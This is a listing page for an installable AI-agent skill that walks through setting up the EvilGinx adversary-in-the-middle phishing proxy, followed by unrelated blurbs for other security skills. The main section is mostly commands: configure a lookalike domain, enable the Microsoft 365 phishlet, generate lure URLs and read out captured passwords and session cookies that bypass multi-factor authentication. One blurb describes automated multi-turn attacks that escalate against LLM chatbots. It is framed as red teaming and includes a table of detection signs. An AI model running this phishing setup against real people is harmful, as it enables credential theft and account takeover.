external/anthropic-cybersecurity-skills/skills/performing-initial-access-with-evilginx3/SKILL.md
Perform authorized initial access using EvilGinx3 adversary-in-the-middle phishing framework to capture session tokens and bypass multi-factor authentication during red team engagements.
npx skillsauth add seikaikyo/dash-skills performing-initial-access-with-evilginx3Install this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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EvilGinx3 is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, enabling bypass of multi-factor authentication (MFA). Unlike traditional credential phishing that only captures usernames and passwords, EvilGinx3 operates as a transparent reverse proxy between the victim and the legitimate authentication service, intercepting the full authentication flow including MFA tokens and session cookies. This makes it the primary tool for red teams demonstrating the risk of adversary-in-the-middle (AiTM) attacks against organizations relying solely on MFA for protection.
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
sudo ./bin/evilginx -p ./phishlets
config domain example-phish.com
config ipv4 <server-ip>
phishlets hostname o365 login.example-phish.com
phishlets enable o365
phishlets
lures create o365
lures get-url 0
lures edit 0 redirect_url https://legitimate-site.com
# Integration with EvilGoPhish for combined campaigns
# Provides GoPhish email tracking + EvilGinx3 credential capture
sessions
sessions <session-id>
# Session output includes:
# - Username and password
# - Session cookies (authentication tokens)
# - Custom captured parameters
| Tool | Purpose | Platform | |------|---------|----------| | EvilGinx3 | AiTM phishing framework | Linux | | GoPhish | Phishing campaign management | Cross-platform | | EvilGoPhish | Combined EvilGinx3 + GoPhish integration | Linux | | Cookie-Editor | Browser cookie import/export | Browser Extension | | Modlishka | Alternative AiTM proxy framework | Linux | | Muraena | Alternative AiTM phishing proxy | Linux |
| Target Service | Phishlet | Captured Data | |---------------|----------|---------------| | Microsoft 365 | o365 | Session cookies, credentials | | Google Workspace | google | Session cookies, credentials | | Okta | okta | Session tokens, credentials | | GitHub | github | Session cookies, credentials | | AWS Console | aws | Session tokens, credentials |
| Indicator | Detection Method | |-----------|-----------------| | Newly registered lookalike domains | Domain monitoring and certificate transparency logs | | SSL certificates for suspicious domains | CT log monitoring (crt.sh, Censys) | | Unusual login locations after phishing | SIEM correlation of authentication events | | Session cookie replay from different IP | Conditional access policy alerts | | AiTM proxy headers in traffic | Network inspection for proxy artifacts |
tools
Conduct comprehensive GDPR compliance assessments by evaluating data processing activities against EU Regulation 2016/679, including Article 30 records of processing, lawful basis validation, data subject rights implementation, Data Protection Impact Assessments (DPIAs) under Article 35, breach notification procedures, international transfer safeguards (SCCs, adequacy decisions), and technical/organizational measures under Article 32. Use when processing personal data of EU residents, preparing for supervisory authority audits, implementing privacy-by-design for new systems, scoping compliance gaps for M&A due diligence, assessing third-party processors, or responding to data subject access requests at scale. Incorporates 2026 guidance from ICO, EDPB, and post-Data (Use and Access) Act 2025 UK-GDPR considerations. Do not use for implementing specific Article 32 controls — use implementing-gdpr-data-protection-controls; or for DSAR automation — use implementing-gdpr-data-subject-access-request.
tools
Parse Windows forensic artifacts—$MFT/$J (MFTECmd), Prefetch (PECmd), registry hives (RECmd), shellbags, and Amcache—into normalized CSV/JSON with Eric Zimmerman's EZ Tools, then load results into Timeline Explorer for analysis. Use during DFIR/incident-response investigations, after triage collection (e.g. with KAPE), to establish program execution, file/folder access, and persistence evidence from acquired forensic images.
development
Build automated multi-turn adversarial attacks against conversational LLM targets using Microsoft PyRIT's RedTeamingOrchestrator, CrescendoOrchestrator (gradual escalation), and TreeOfAttacksWithPruningOrchestrator (adaptive branching), with scorer feedback loops and persisted conversation memory. Use when single-shot LLM scanning is insufficient and you need multi-turn, scorer-driven AI red-team campaigns against a chatbot or agent.
testing
Stand up MISP, enable and cache curated threat feeds (CIRCL, abuse.ch, Feodo Tracker), apply warninglists to suppress false positives, query indicators with PyMISP, and export attributes as auto-generated Suricata/Sigma/Wazuh detection rules. Use when maturing a MISP instance to actively drive detection, curating threat feeds with quality controls, or automating IOC-to-detection pipelines for the SIEM/IDS.